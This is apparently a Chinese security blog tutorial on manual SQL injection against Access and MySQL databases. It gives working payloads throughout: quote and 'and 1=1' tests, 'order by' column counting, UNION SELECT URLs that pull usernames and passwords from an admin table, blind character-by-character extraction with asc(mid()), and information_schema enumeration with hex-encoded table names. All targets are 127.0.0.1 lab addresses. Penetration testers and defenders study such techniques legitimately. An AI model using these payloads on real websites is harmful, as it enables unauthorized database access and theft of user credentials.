最新消息:

Access MySql之常规手工注入

渗透测试 Eternal 5972浏览 0评论

(一)1.access注入之联合查询法:

单引号判断 错误页面

And 1=1 正确页面

And 1=2 错误页面

Order by xx 查询字段数目

Order by 22 正确 order by 23 错误 22个字段数目

猜解表名:

http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1511 UNION SELECT

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin?

查询access数据库中有没有admin表。

猜解列名:

http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1511 UNION SELECT

1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

查询access数据库中admin表下面有没有username,password列名。

猜解数据:

http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1511%20UNION%20SELECT%201,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22%20from%20admin

2. access注入之逐字猜解法:

查表and exists (select * from admin)

查列and exists (select xxuser_name from admin)

查数据

and (select top 1 len(username) from admin)=5

and (select top 1 asc(mid(username,1,1)) from admin)=97 判断第一位

and (select top 1 asc(mid(username,2,1)) from admin)=97 判断第二位

最终得到账户密码:admin? admin888? 。

(二) MySQL常规手工注入:

判断注入:

Order by xx 猜字段数目

Union select 1,2,3,4,5,…..

查询函数:

Database() :数据库名 fanke

Version() :数据库版本 5.5.40

User() : 数据库用户 root@localhost

@@version_compile_os :操作系统 win32

Mysql5.0以上版本手工注入:

Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库

table_name:表名

table_schema:数据库名

column_name:列名

information_schema.tables:存储mysql数据库下所有数据库的表名信息的表

information_schema.columns:存储mysql数据库下所有数据库的列名信息的表

查询数据库名为fanke(0x66616E6B65)下面的表名信息:

http://127.0.0.1/php.php?x=4%20union select table_name

,2,3,4,5 from information_schema.tables where table_schema=0x66616E6B65

?查询表名为user(0x75736572)下面的列名信息:

http://127.0.0.1/php.php?x=4%20union select column_name

,2,3,4,5 from information_schema.columns where table_name=0x75736572

?直接获取user表下面数据:

http://127.0.0.1/php.php?x=4%20union select username,password,3,4,5 from user

转载请注明来源 即刻安全

转载请注明:即刻安全 » Access MySql之常规手工注入

您必须 登录 才能发表评论!



合作伙伴